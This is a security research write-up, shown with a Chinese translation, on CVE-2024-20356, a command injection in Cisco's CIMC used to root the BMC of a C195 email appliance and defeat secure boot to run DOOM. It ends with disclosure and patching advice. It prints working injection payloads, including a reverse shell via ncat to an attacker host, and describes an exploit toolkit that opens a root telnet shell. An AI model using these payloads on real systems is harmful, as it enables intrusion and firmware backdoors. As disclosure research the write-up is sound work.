CVE-2024-20356: Jailbreaking a Cisco appliance to run DOOM

The Cisco C195 is a Cisco Email Security Appliance device. Its role is to act as an SMTP gateway on your network perimeter. This device (and the full range of appliance devices) is heavily locked down and prevents unauthorised code from running.
Cisco C195 是 Cisco 邮件安全设备。它的作用是充当网络外围的 SMTP 网关。此设备（以及所有设备设备）被严格锁定，可防止未经授权的代码运行。

Source: https://www.melbourneglobal.com.au/cisco-esa-c195-k9-esa-c195-email/
来源： https://www.melbourneglobal.com.au/cisco-esa-c195-k9-esa-c195-email/

I recently took one of these apart in order to repurpose it as a general server. After reading online about the device, a number of people mentioned that it is impossible to bypass secure boot in order to run other operating systems, as this is prevented by design for security reasons.
我最近拆开了其中一个，以便将其重新用作通用服务器。在网上阅读有关该设备的信息后，许多人提到，为了运行其他操作系统，不可能绕过安全启动，因为出于安全原因，这是设计上阻止的。

In this adventure, the Cisco C195 device family was jailbroken in order to run unintended code. This includes the discovery of a vulnerability in the CIMC body management controller which affects a range of different devices, whereby an authenticated high privilege user can obtain underlying root access to the server’s BMC (CVE-2024-20356) which in itself has high-level access to various other components in the system. The end goal was to run DOOM – if a smart fridge can do it, why not Cisco?
在这次冒险中，Cisco C195 设备系列被越狱以运行意外代码。这包括在CIMC身体管理控制器中发现一个漏洞，该漏洞影响一系列不同的设备，据此，经过身份验证的高权限用户可以获得对服务器BMC的底层root访问权限（CVE-2024-20356），该BMC本身对系统中的各种其他组件具有高级访问权限。最终目标是运行《DOOM》——如果智能冰箱可以做到这一点，为什么思科不能呢？

We have released a full toolkit for detecting and exploiting this vulnerability, which can be found on GitHub below:
我们发布了用于检测和利用此漏洞的完整工具包，可在以下 GitHub 上找到：

 GitHub: https://github.com/nettitude/CVE-2024-20356
 GitHub：https://github.com/nettitude/CVE-2024-20356

Usage of the toolkit is demonstrated later in this article.
本文稍后将演示该工具包的用法。

BIOS Hacking BIOS黑客攻击

Under the hood, the Cisco C195 device is a C220 M5 server. This device is used throughout a large number of different appliances. The initial product is adapted to suit the needs of the target appliance. This in itself is a common technique and valid way of creating a large line of products from a known strong design. While this does have its advantages, it means any faults in the underlying design, supporting hardware or software are apparent on multiple device types.
在后台，Cisco C195 设备是 C220 M5 服务器。该设备用于大量不同的设备。初始产品经过调整，以满足目标设备的需求。这本身就是一种常见的技术和有效方法，可以从已知的强大设计中创建大量产品。虽然这确实有其优点，但这意味着底层设计、支持硬件或软件中的任何故障在多种设备类型上都很明显。

The C195 is a 1U appliance that is designed to handle emails. It runs custom Cisco software provided by two disks in the device. I wanted to use the device for another purpose, but could not due to the restrictions in place preventing the device from booting unauthorised software. This is a good security feature for products, but does restrict how they can be used.
C195 是一款 1U 设备，旨在处理电子邮件。它运行由设备中的两个磁盘提供的自定义 Cisco 软件。我想将该设备用于其他目的，但由于限制阻止设备启动未经授权的软件而无法使用。对于产品来说，这是一个很好的安全功能，但确实限制了它们的使用方式。

From first glance at the exterior, there was no obvious branding to indicate this was a Cisco UCS C220 M5. Upon taking off the lid, a few labels indicated the true identity of the server. Furthermore, a cover on the back of the device, when unscrewed, revealed a VGA port. A number of other ports were present on the back, such as Console (Cisco Serial) and RPC (CIMC). The RPC port was connected to a network, but the device did not respond.
乍一看外观，没有明显的品牌表明这是Cisco UCS C220 M5。取下盖子后，一些标签表明了服务器的真实身份。此外，当拧开设备背面的盖子时，会露出一个 VGA 端口。背面还有许多其他端口，例如控制台（思科串行）和RPC（CIMC）。RPC 端口已连接到网络，但设备没有响应。

Starting up the device displayed a Cisco branded AMI BIOS. The configuration itself was locked down and a number of configuration options were disabled. The device implemented a strong secure boot setup whereby only Cisco approved ESA/Cisco Appliance EFI files could be executed.
启动设备时显示 Cisco 品牌的 AMI BIOS。配置本身被锁定，许多配置选项被禁用。该设备实施了强大的安全启动设置，只有思科批准的ESA/思科设备EFI文件才能执行。

I could go into great detail here on what was tried, but to cut a long story short, I couldn’t see, modify or run much.
我可以在这里详细介绍尝试的内容，但长话短说，我看不到、修改或运行太多。

The BIOS was the first target in this attack chain. I was interested to see how different BIOS versions affect the operation of the device. New features often come with new attack surfaces, which pose potential new vectors to explore.
BIOS 是此攻击链中的第一个目标。我很想知道不同的BIOS版本如何影响设备的运行。新功能通常伴随着新的攻击面，这带来了潜在的新探索媒介。

The device was running an outdated BIOS version. Some tools provided to update the BIOS were not allowed to run due to the locked down secure boot configuration. A number of different BIOS versions were tried and tested by removing the flash chip, upgrading the BIOS and placing the chip back on the board. To make this process easier, I created a DIY socket on the motherboard and a small mount for the chip to easily reflash the device on the fly. This was especially important when continuously reading/observing what kind of data is written back to the flash, and how it is stored.
设备运行的是过时的 BIOS 版本。由于锁定的安全启动配置，某些用于更新 BIOS 的工具不允许运行。通过移除闪存芯片、升级 BIOS 并将芯片放回主板上，尝试和测试了许多不同的 BIOS 版本。为了简化此过程，我在主板上创建了一个 DIY 插槽，并为芯片创建了一个小型支架，以便轻松快速刷新设备。在连续读取/观察写回闪存的数据类型以及如何存储数据时，这一点尤为重要。

Note there are three chips in total – the bottom green flash is used for CIMC/BMC, the middle marked with red is the main BIOS flash and the top one (slightly out of frame) is the backup BIOS flash.
请注意，总共有三个芯片 – 底部的绿色闪存用于CIMC / BMC，中间用红色标记的是主BIOS闪存，顶部的闪存（略微偏离帧）是备份BIOS闪存。

The CH431A is a very powerful, cost effective device which acts as a multitool for IoT hacking (with the 3.3v modification). Its core is designed to act as a SPI programmer but also has a UART interface. In short, you can hook onto or remove SPI-compatible flash chips from the target PCB and use the programmer to interact with the device. You can make a full 1:1 backup of that chip so if anything goes wrong you can restore the original state. On top of that, you can also tamper with or write to the chip.
CH431A 是一款功能强大、经济高效的设备，可作为物联网黑客攻击的多功能工具（经过 3.3v 修改）。其内核设计为SPI编程器，但也具有UART接口。简言之，您可以从目标PCB上挂接或移除SPI兼容的闪存芯片，并使用编程器与器件进行交互。您可以对该芯片进行完整的 1：1 备份，因此如果出现任何问题，您可以恢复原始状态。最重要的是，您还可以篡改或写入芯片。

The below screenshot shows reading the middle flash chip using flashrom and the CH341A. If following along, it’s important to make a copy of the firmware below, maybe two, maybe three – keep these safe and store original versions with MD5 hashes.
下面的屏幕截图显示了使用 flashrom 和 CH341A 读取中间闪存芯片。如果按照以下步骤进行操作，请务必复制以下固件，也许是两个，也许是三个 – 确保这些固件的安全并存储带有 MD5 哈希的原始版本。

UEFITool is a nice way to visualise different parts of a modern UEFI BIOS. It provides a breakdown of different sections and what they do. In recent versions, the ability to view Intel BootGuard protected areas are marked which is especially important when attacking UEFI implementations.
UEFITool 是可视化现代 UEFI BIOS 不同部分的好方法。它提供了不同部分及其作用的细分。在最近的版本中，标记了查看英特尔 BootGuard 受保护区域的功能，这在攻击 UEFI 实现时尤为重要。

On the topic of tampering with the BIOS, why can’t we just replace the BIOS with a version that does not have secure boot enabled, has keys allowing us to boot other EFI files, or a backdoor allowing us to boot our own code? Intel BootGuard. This isn’t well known but is a really neat feature of Intel-based products. Effectively it is secure-boot for the BIOS itself. Public keys are burned into CPUs using onboard fuses. These public keys can be used to validate the firmware being loaded. There’s quite a lot to Intel BootGuard, but in the interest of keeping this article short(ish), for now all you need to know is it’s a hardware-based root of trust, which means you can’t directly modify parts of the firmware. Note, it doesn’t include the entire flash chip as this is also used for user configuration/storage, which can’t be easily signed.
关于篡改BIOS的话题，为什么我们不能用未启用安全启动的版本替换BIOS，该版本具有允许我们启动其他EFI文件的密钥或允许我们启动自己的代码的后门？英特尔 BootGuard。这并不为人所知，但却是基于英特尔的产品的一个非常简洁的功能。实际上，它是BIOS本身的安全启动。公钥使用板载保险丝刻录到 CPU 中。这些公钥可用于验证正在加载的固件。英特尔 BootGuard 有很多内容，但为了保持本文的简短性，现在您需要知道的只是它是基于硬件的信任根，这意味着您不能直接修改固件的某些部分。请注意，它不包括整个闪存芯片，因为这也用于用户配置/存储，不容易签名。

The latest firmware ISO was obtained and the BIOS .cap file was extracted.
获取了最新的固件 ISO 并提取了 BIOS .cap 文件。

The .cap file contained a header of 2048 bytes with important information about the firmware. This would be read by the built-in tools to update the BIOS, ensuring everything is correct. After removing the header, it needs to be decompressed with bzip2.
该 .cap 文件包含一个 2048 字节的标头，其中包含有关固件的重要信息。这将由内置工具读取以更新 BIOS，确保一切正确。移除头后，需要用 bzip2 解压。

The update BIOS image contains the information that would be placed in the BIOS region. Note, we can’t directly flash the bios.cap file onto the flash chip as there are important sections missing, such as the Intel ME section.
更新的 BIOS 映像包含将放置在 BIOS 区域中的信息。请注意，我们无法直接将 bios.cap 文件烧录到闪存芯片上，因为缺少重要部分，例如英特尔ME部分。

The .cap file itself has another header of 0x10D8 (4312) which can be removed with a hex editor or DD.
.cap 文件本身还有另一个标 0x10D8 头 （4312），可以使用十六进制编辑器或 DD 将其删除。

The update file and the original BIOS should look somewhat similar at the beginning. However, the update file is missing important sections.
更新文件和原始 BIOS 在开始时应该看起来有些相似。但是，更新文件缺少重要部分。

To only update what was in the BIOS region, we can copy the update file from 0x1000000 (16777216) onwards into the flash file at the same location. DD can be used for this by taking the first half of the flash, the second half of the update, and merging them together.
要仅更新 BIOS 区域中的内容，我们可以将 0x1000000 （16777216） 以后的更新文件复制到同一位置的闪存文件中。DD 可以通过获取 flash 的前半部分、更新的后半部分并将它们合并在一起来使用。

The original firmware should match in size to our new updated firmware.
原始固件的大小应与我们新更新的固件相匹配。

Just to be safe, we can check with UEFITool to make sure nothing went majorly wrong. The screenshot below shows everything looks fine, and the UUIDs for the new volumes in the BIOS region have been updated.
为了安全起见，我们可以与UEFITool进行核对，以确保没有出现任何重大问题。下面的屏幕截图显示一切正常，并且 BIOS 区域中新卷的 UUID 已更新。

In the same way the flash dump was obtained, the updated image can be placed back.
与获取闪存转储的方式相同，可以将更新的映像放回原处。

With the BIOS updated to the latest version, a few new features are available. The BIOS screen now presents the option to configure CIMC! Result! Alas, we still cannot make meaningful configuration changes, disable secure boot, or boot our own code.
随着 BIOS 更新到最新版本，一些新功能可用。BIOS屏幕现在显示配置CIMC的选项！结果！唉，我们仍然无法进行有意义的配置更改、禁用安全启动或启动我们自己的代码。

In the meantime, we found CIMC was configured with a static IP of 0.0.0.0. This would explain why we couldn’t interact with it earlier. A new IP address was set, and we have a new attack surface to explore.
同时，我们发现CIMC配置了静态IP。 0.0.0.0 这可以解释为什么我们不能更早地与它互动。设置了新的 IP 地址，并且要探索新的攻击面。

CIMC, Cisco Integrated Management Console, is a small ASPEED-Pilot-4-based onboard body-management-controller (BMC). This is a lights-out controller for the device so can be used as a KVM and power management solution. In this implementation, it’s used to handle core system functions such as power management, fan control, etc.
CIMC（思科集成管理控制台）是一款基于 ASPEED-Pilot-4 的小型板载车身管理控制器 （BMC）。这是该设备的熄灯控制器，因此可用作 KVM 和电源管理解决方案。在此实现中，它用于处理核心系统功能，例如电源管理、风扇控制等。

CIMC in itself comes with a default username of “admin” and a default password of “cisco”. CIMC can either be on a dedicated interface or share the onboard NICs. CIMC has full control over the BIOS, peripheral chips, onboard CPU and a number of other systems running on the C195/C220.
CIMC本身的默认用户名为“ admin ”，默认密码为“ cisco ”。CIMC可以位于专用接口上，也可以共享板载网卡。CIMC可以完全控制C195/C220上运行的BIOS、外围芯片、板载CPU和许多其他系统。

At this point the user is free to update CIMC to the latest version and make configuration changes. It was not possible to disable the secure boot process or run any other code aside from the signed Cisco Appliance operating system. Even though we had the option to configure secure boot keys, these did not take effect nor did any critical configuration changes. CIMC recognised on the dashboard that it was a C195 device.
此时，用户可以自由地将CIMC更新到最新版本并进行配置更改。除已签名的思科设备操作系统外，无法禁用安全启动过程或运行任何其他代码。尽管我们可以选择配置安全启动密钥，但这些密钥并未生效，也未进行任何关键配置更改。CIMC在仪表板上认出这是一台C195设备。

At this stage, it is possible to update CIMC to other versions using the update/flash tool.
在此阶段，可以使用更新/刷新工具将CIMC更新到其他版本。

CVE-2024-20356: Command Injection
CVE-2024-20356：命令注入CVE-2024-20356：命令注入CVE-2024-20356

The ISO containing the BIOS updates also contained a copy of the CIMC firmware.
包含BIOS更新的ISO还包含CIMC固件的副本。

This firmware, alongside the BIOS, is fairly generic for the base model C220 device. It is designed to identify the model of the device and put appropriate accommodations in place, such as locking down certain features or making new functions available. This saves time in production as one good firmware build can be used against a range of devices without major problems.
该固件与 BIOS 一起，对于基本型号 C220 设备来说是相当通用的。它旨在识别设备的型号并采取适当的调整措施，例如锁定某些功能或提供新功能。这节省了生产时间，因为一个好的固件版本可以用于一系列设备，而不会出现重大问题。

As this firmware is designed to accommodate many device types, we observe a few interesting files and features along the way.
由于此固件旨在适应多种设备类型，因此我们在此过程中观察到一些有趣的文件和功能。

The cimc.bin file located in /firmware/cimc/ contains a wealth of information.
位于中的 cimc.bin /firmware/cimc/ 文件包含大量信息。

The binwalk tool can be used to explore this information. At a high level, binwalk will look for patterns in files to identify locations of potential embedded files, file systems or data. It can also be extracted using this tool. The below screenshot shows a common embedded uBoot Linux system that uses a compressed squashfs filesystem to hold the root filesystem.
binwalk 工具可用于浏览此信息。在高层次上，binwalk 将在文件中寻找模式，以识别潜在嵌入文件、文件系统或数据的位置。也可以使用此工具提取它。下面的屏幕截图显示了一个常见的嵌入式 uBoot Linux 系统，它使用压缩的 squashfs 文件系统来保存根文件系统。

While looking through these filesystems, a few interesting files were discovered. The library located at /usr/local/lib/appweb/liboshandler.so was used to handle requests to the web server. This file contained debug symbols, making it easier to understand the class structure and what functions are used for. The library was decompiled using Ghidra.
在浏览这些文件系统时，发现了一些有趣的文件。位于 的 /usr/local/lib/appweb/liboshandler.so 库用于处理对 Web 服务器的请求。此文件包含调试符号，使其更容易理解类结构和函数的用途。该库是使用 Ghidra 反编译的。

The ExpFwUpdateUtilityThread function, part of ExpUpdateAgent, was found to be affected by a command injection vulnerability. The user-submitted input is validated, however, certain characters were allowed which can be used to execute commands outside of the intended application scope.
该 ExpFwUpdateUtilityThread 函数是 的一部分 ExpUpdateAgent ，被发现受到命令注入漏洞的影响。用户提交的输入已得到验证，但是，允许使用某些字符来执行预期应用程序范围之外的命令。

The ExpFwUpdateUtilityThread function is called from an API request to expRemoteFwUpdate. This takes four parameters, and appears to provide the ability to update the firmware for SAS Controllers or Drives. The path parameter is validated against a list of known good characters, which includes $, ( and ). The function performs string formatting with user data against the following string: curl -o %s %s://%s/%s %s. Upon successfully validating the user-supplied data, the formatted string is passed into system_secure(), which performs additional validation, however still allows characters which can be used to inject commands through substitution.
该 ExpFwUpdateUtilityThread 函数从 API 请求调用到 expRemoteFwUpdate .这需要四个参数，并且似乎提供了更新SAS控制器或驱动器固件的功能。path 参数根据已知良好字符列表进行验证，其中包括 $ 和 ( ) 。该函数使用用户数据对以下字符串执行字符串格式设置： curl -o %s %s://%s/%s %s 。成功验证用户提供的数据后，格式化的字符串将传递到 system_secure() ，该字符串执行额外的验证，但仍允许字符可用于通过替换注入命令。

The following function is called to check the input against a list of allowed characters.
调用以下函数以根据允许的字符列表检查输入。 

Although the ExpFwUpdateUtilityThread function performs some checks on the user input, additional checks are performed with another list of allowed characters.
尽管该 ExpFwUpdateUtilityThread 函数对用户输入执行一些检查，但会使用另一个允许的字符列表执行其他检查。

The system_secure function calls system_secure_ex, which after passing validation executes the provided command with system() . 

We can take the knowledge learnt from the above library and apply it in an attempt to exploit the issue. This can be achieved by using $(echo $USER) in order to substitute the text for the current username. The function itself is designed to make a curl request to download firmware updates from a third-party using curl. We can use this functionality to exfiltrate our executed command. 

The following query can be used to demonstrate command injection: 

set=expRemoteFwUpdate("1", "http","192.168.0.96","/$(echo $USER)")

This can be placed in a POST request to https://CIMC/data with an administrator’s sessionCookie and sessionID. 

This is shown in the screenshot below. 

When the request is made, the command output is received by the attacker’s web server. 

Having underlying system access to the Cisco Integrated Management Console poses a significant risk through the breakdown of confidentiality, integrity and availability. With this level of access, a threat actor is able to read, modify and overwrite information on the running system, given that CIMC has a high level of access throughout the device. Furthermore, as underlying access is granted to the firmware itself, this poses an integral risk whereby an attacker could introduce a backdoor into the firmware and prevent users from discovering that the device has been compromised. Finally, availability may be affected if the firmware is modified, as it could be corrupted to prevent the device from booting without a recovery method. 

This can be taken a step further to get a full reverse shell from the BMC using the following query string: 

set=expRemoteFwUpdate("1", "http","192.168.0.96","/$(ncat 192.168.0.96 1337 -e /bin/sh)")

In a full request, this would encode to: 

This is shown in the screenshot below. 

A full root shell on the underlying BMC is then received on port 1337. The following screenshot demonstrates this by identifying the current user, version and CPU type. 

Note: To obtain the sessionCookie and sessionID, the user must login as an administrator using the default credentials of admin and password. The sessionCookie can be taken from the response headers and the sessionID can be taken from the response body under <sidValue>. 

So, we have the ability to execute commands on CIMC. The next step involves automating this process to make it easier to reach our goal of running DOOM.
因此，我们有能力在CIMC上执行命令。下一步是将这一过程自动化，以便更容易地实现我们运行《DOOM》的目标。

As it stands, the command injection vulnerability is blind. You need to leverage the underlying curl command to exfiltrate data. This is fine for small outputs but breaks when the URL limit is hit, or if unusual characters are included.
就目前而言，命令注入漏洞是盲目的。您需要利用基础 curl 命令来泄露数据。这对于小输出很好，但当达到 URL 限制或包含异常字符时会中断。

Another method to exfiltrate information was identified through writing a file to the web root with a specific filename in order to match the regex inside the nginx configuration.
另一种泄露信息的方法是通过将具有特定文件名的文件写入 Web 根目录来识别的，以便匹配 nginx 配置中的正则表达式。

The following section in the configuration is used to only serve certain files in the web root directory. This includes common documents such as index.html, 401.html, 403.html etc. The filename “in.html” matches this regex and is not currently used.
配置中的以下部分用于仅提供 Web 根目录中的某些文件。这包括常见的文档，如 index.html 、 401.html 等 403.html 。文件名 “ in.html ” 与此正则表达式匹配，当前未使用。

The toolkit uses this to obtain command output. Command output is written to /usr/local/www/in.html.
该工具包使用它来获取命令输出。命令输出写入 /usr/local/www/in.html 。

CVE-2024-20356: Exploit Toolkit
CVE-2024-20356：漏洞利用工具包

To automate this process I created a tool called CISCown which allows you to test for the vulnerability, exploit the vulnerability, and even open up a telnetd root shell service.
为了自动执行此过程，我创建了一个名为 CISCown 的工具，它允许您测试漏洞、利用漏洞，甚至打开 telnetd root shell 服务。

The exploit kit takes a few parameters:
漏洞利用工具包采用几个参数：

• -t TARGET  -t 目标
• -u USERNAME  -u 用户名
• -p PASSWORD  -p 密码
• -v VERBOSE (obtains more information about CIMC)
  -v VERBOSE （获取有关CIMC的更多信息）
• -a ACTION   -a 行动
  • “test” tries to exploit command injection by echoing a random number to “in.html” and reading it
    “test”试图通过将随机数回显到“in.html”并读取它来利用命令注入
  • “cmd” executes a command (default if -c is provided)
    “cmd”执行命令（如果提供了 -c，则默认）
  • “shell” executes “busybox telnetd -l /bin/sh -p 23”
    “shell” 执行 “busybox telnetd -l /bin/sh -p 23”
  • “dance” puts on a light show
    “舞蹈”上演灯光秀
• -c CMD  -c CMD的

The toolkit can be found on GitHub below:
该工具包可以在以下 GitHub 上找到：

 GitHub: https://github.com/nettitude/CVE-2024-20356
 GitHub：https://github.com/nettitude/CVE-2024-20356

A few examples of the tool’s usage are shown below.
下面显示了该工具的几个用法示例。

Testing for the vulnerability:
测试漏洞：

Exploiting the vulnerability with id command:
使用 id 命令利用此漏洞：

Exploiting the vulnerability with cat /proc/cpuinfo to check the CPU in use:
利用此漏洞 cat /proc/cpuinfo 检查正在使用的 CPU：

Exploiting the vulnerability to gain a full telnet shell:
利用此漏洞获取完整的 telnet shell：

Exploiting the vulnerability to dance (yes, this is in the toolkit):
利用这个漏洞跳舞（是的，这是在工具包中）：

Compromising The Secure Boot Chain
损害安全启动链

We have root access on the BMC but we still cannot run our own code on the main server. Even after modifying a few settings in the BIOS and on the web CIMC administration page, it was not possible to run EFI files not signed with the Cisco Appliance keys.
我们在 BMC 上拥有 root 访问权限，但我们仍然无法在主服务器上运行我们自己的代码。即使在BIOS和Web CIMC管理页面上修改了一些设置后，也无法运行未使用思科设备密钥签名的EFI文件。

The boot menu below only contains one boot device, the EFI shell.
下面的引导菜单仅包含一个引导设备，即 EFI shell。

If a USB stick is plugged in, the device throws a Secure Boot Violation warning and reverts back to the EFI shell.
如果插入了 U 盘，设备会发出 Secure Boot Violation 警告并恢复到 EFI 外壳。

It’s not even possible to use the EFI shell to boot EFI files not signed by Cisco.
甚至无法使用 EFI shell 启动未经 Cisco 签名的 EFI 文件。

The option to disable secure boot was still greyed out.
禁用安全启动的选项仍显示为灰色。

In general, secure boot is based around four key databases:
通常，安全启动基于四个关键数据库：

• db – Signatures Database – Database of allowed signatures
  db – 签名数据库 – 允许的签名数据库
• dbx – Forbidden Signatures Database – Database of revoked signatures
  dbx – 禁止签名数据库 – 撤销签名的数据库
• kek – Key Exchange Key – Keys used to sign db and dbx
  kek – 密钥交换密钥 – 用于对 db 和 dbx 进行签名的密钥
• pk – Platform Key – Top level key in secure boot
  pk – 平台密钥 – 安全启动中的顶级密钥

The device itself only contains db keys for authorised Cisco appliance applications/EFI files. This means restrictions are in place to restrict what the device can boot/load, including EFI modules. Some research was performed into how the device handles secure boot and the chain of trust.
设备本身仅包含授权的思科设备应用程序/EFI 文件的数据库密钥。这意味着限制已经到位，以限制设备可以启动/加载的内容，包括 EFI 模块。对设备如何处理安全启动和信任链进行了一些研究。

In order to compromise the secure boot chain, we need to find a way to either disable secure boot or use our own key databases. The UEFI spec states that vendors can store these keys in multiple locations, such as in the BIOS flash itself, TPM, or externally.
为了破坏安全启动链，我们需要找到一种方法来禁用安全启动或使用我们自己的密钥数据库。UEFI 规范指出，供应商可以将这些密钥存储在多个位置，例如 BIOS 闪存本身、TPM 或外部。

While looking around CIMC and the BMC, an interesting script was discovered which is executed on start-up. The intent behind this script is to prepare the BIOS with the appropriate secure boot databases and settings.
在环顾中集集团和BMC时，发现了一个有趣的脚本，该脚本在启动时执行。此脚本背后的目的是使用适当的安全启动数据库和设置来准备 BIOS。

The script defines a number of hardcoded locations for different profiles supported by CIMC.
该脚本为CIMC支持的不同配置文件定义了许多硬编码位置。

When the script runs, the device gets the current PID value. In our case it was C195, being the model of the device. Note, the below script first attempts to fetch this from /tmp/pid_validated, and if it can’t find this file it will read the PID from the platform management’s FRU. This will display C195, which is then saved in /tmp/pid_validated.
当脚本运行时，设备将获取当前 PID 值。在我们的例子中 C195 ，它是设备的模型。请注意，下面的脚本首先尝试从 /tmp/pid_validated 中获取此文件，如果找不到此文件，它将从平台管理的 FRU 中读取 PID。这将显示 C195 ，然后将其保存在 /tmp/pid_validated 中。

The script will then go through and check the PID against all supported profiles.
然后，该脚本将根据所有受支持的配置文件检查 PID。

It does this for every type of profile defined at the top of the script. These profiles contain all of the secure boot key databases such as PK, KEK, DB and DBX.
它对脚本顶部定义的每种类型的配置文件执行此操作。这些配置文件包含所有安全启动密钥数据库，例如 PK 、 KEK 和 DB DBX 。

The check takes the PID of C195 and passes it to is_stbu_rel, which has a small regex pattern to determine what the device is. If it matches, a number of variables are configured and update_pers_data is called to set the secure boot profile to use. The profile is what the BIOS then uses as a keystore for secure boot.
检查获取 的 C195 PID 并将其传递给 is_stbu_rel ，该 具有一个小的正则表达式模式来确定设备是什么。如果匹配，则配置并 update_pers_data 调用多个变量以设置要使用的安全启动配置文件。然后，BIOS 将配置文件用作安全启动的密钥库。

The chain of trust here is as follows:
这里的信任链如下：

• FRU -> BMC with the PID values
  具有 PID 值的 FRU -> BMC
• BMC -> BIOS with the secure boot keys
  BMC -> BIOS 与安全启动密钥

As we have compromised the BMC, we can intercept or modify this process with our own PID or keys. By creating or overwriting the /tmp/pid_validated file, we can trick bios_secure_vars_setup.sh into thinking the device is something else and provide a different set of keys.
由于我们已经破坏了 BMC，因此我们可以使用自己的 PID 或密钥拦截或修改此过程。通过创建或覆盖 /tmp/pid_validated 文件，我们可以欺骗 bios_secure_vars_setup.sh 认为设备是其他东西，并提供一组不同的密钥。

The following example demonstrates changing the device to the ND-NODE-L4 profile which supports a broader range of allowed EFI modules and vendors.
以下示例演示如何将设备更改为支持更广泛允许的 EFI 模块和供应商的 ND-NODE-L4 配置文件。

NOTE: BACKUP THE BIOS AT THIS POINT!
注意：此时备份BIOS！

First shut down the device and ensure you have made a backup of the BIOS. This is an important step, as modifying secure boot keys which do not authorise core components to run can prevent the device from booting (essentially bricking it).
首先关闭设备，并确保已备份BIOS。这是一个重要的步骤，因为修改不授权核心组件运行的安全启动密钥可能会阻止设备启动（本质上是砖砌它）。

The PID is as follows: C195.
PID 如下： C195 .

The /tmp/pid_validated file was overwritten with a new PID of ND-NODE-L4.
/tmp/pid_validated 该文件被新的 PID 覆盖 ND-NODE-L4 。

The bios_secure_vars_setup.sh script was run again to reinitialise the secure boot environment.
再次运行该 bios_secure_vars_setup.sh 脚本以重新初始化安全启动环境。

The device can then be powered back on. Upon turning on the device, a number of other boot devices were available from the Ethernet Controllers. This is a good sign, as it means more EFI modules were loaded.
然后可以重新打开设备电源。打开设备后，以太网控制器提供了许多其他启动设备。这是一个好兆头，因为这意味着加载了更多的 EFI 模块。

The boot device manager or EFI shell can be used to boot into an external drive containing an operating system that supports UEFI. In my case, I was using a USB stick plugged into the back of the device.
启动设备管理器或 EFI shell 可用于启动到包含支持 UEFI 的操作系统的外部驱动器。就我而言，我使用的是插入设备背面的 U 盘。

Instead of an access denied error, bootx64.efi was loaded successfully and Ubuntu started, demonstrating we now have non-standard code running on the Cisco C195 Email Appliance.
而不是访问被拒绝错误， bootx64.efi 而是成功加载并启动 Ubuntu，这表明我们现在在 Cisco C195 电子邮件设备上运行非标准代码。

Finally to complete the main goal:
最后完成主要目标：

In conclusion, it’s possible to follow this attack chain to repurpose a Cisco appliance device to run DOOM. The full chain incorporated:
总之，可以遵循此攻击链，将思科设备重新用于运行DOOM。整个链条包括：

• Modifying the BIOS to expose CIMC to the network.
  修改BIOS以将CIMC暴露给网络。
• Attacking the CIMC management system over the network via remote command execution vulnerability (CVE-2024-20356) to gain root access to a critical component in the system.
  通过远程命令执行漏洞（CVE-2024-20356）通过网络攻击CIMC管理系统，以获取对系统中关键组件的root访问权限。
• Finally, compromising the secure boot chain by modifying the device PID to use other secure boot keys.
  最后，通过修改设备 PID 以使用其他安全启动密钥来破坏安全启动链。

To address this vulnerability, it’s best to adhere to the following advice to reduce the likelihood and impact of exploitation:
要解决此漏洞，最好遵循以下建议，以减少利用的可能性和影响：

• Change the default credentials and uphold a strong password policy.
  更改默认凭据并维护强密码策略。
• Update the device to a version which patches CVE-2024-20356.
  将设备更新到修补 CVE-2024-20356 的版本。

Disclosure 披露

While it may seem cool to run DOOM on a Cisco Appliance device, the vulnerability exploited does pose a threat to the confidentiality, integrity and availability of data stored and processed on the server. The issue in itself could be used to backdoor the machine and run unauthorised code, especially impactful given that the body management controller has a high level of access throughout the device.
虽然在思科设备设备上运行DOOM似乎很酷，但被利用的漏洞确实对服务器上存储和处理的数据的机密性、完整性和可用性构成威胁。该问题本身可用于为机器开后门并运行未经授权的代码，鉴于车身管理控制器在整个设备中具有高度的访问权限，因此影响特别大。

The product tested in this writeup was C195/C220 M5 - CIMC 4.2(3e). However, as the firmware is used across a range of different devices, this vulnerability would affect a range of different products. The full affected list can be found on Cisco’s website below:
本文中测试的产品是 C195/C220 M5 - CIMC 4.2(3e) .但是，由于固件在一系列不同的设备上使用，因此此漏洞将影响一系列不同的产品。完整的受影响列表可以在思科的网站上找到：

https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-cimc-cmd-inj-bLuPcb

Cisco was initially informed of the issue on 06 December 2023 and began triage on 07 December 2023. The Cisco PSIRT responded within 24 hours of initial contact and promptly began working on fixes. A public disclosure date was agreed upon for 17 April 2024, and CVE-2024-20356 was assigned by the vendor with a severity rating of High (CVSS score of 8.7). I would like to thank Todd Reid, Amber Hurst, Mick Buchanan, and Marco Cassini from Cisco for collaborating with us to resolve the issue.
思科最初于 2023 年 12 月 6 日获悉该问题，并于 2023 年 12 月 7 日开始分类。Cisco PSIRT 在初次联系后的 24 小时内做出响应，并立即开始修复。双方商定了 2024 年 4 月 17 日的公开披露日期，供应商将 CVE-2024-20356 命名为“高”（CVSS 评分为 8.7）。我要感谢思科的 Todd Reid、Amber Hurst、Mick Buchanan 和 Marco Cassini 与我们合作解决了这个问题。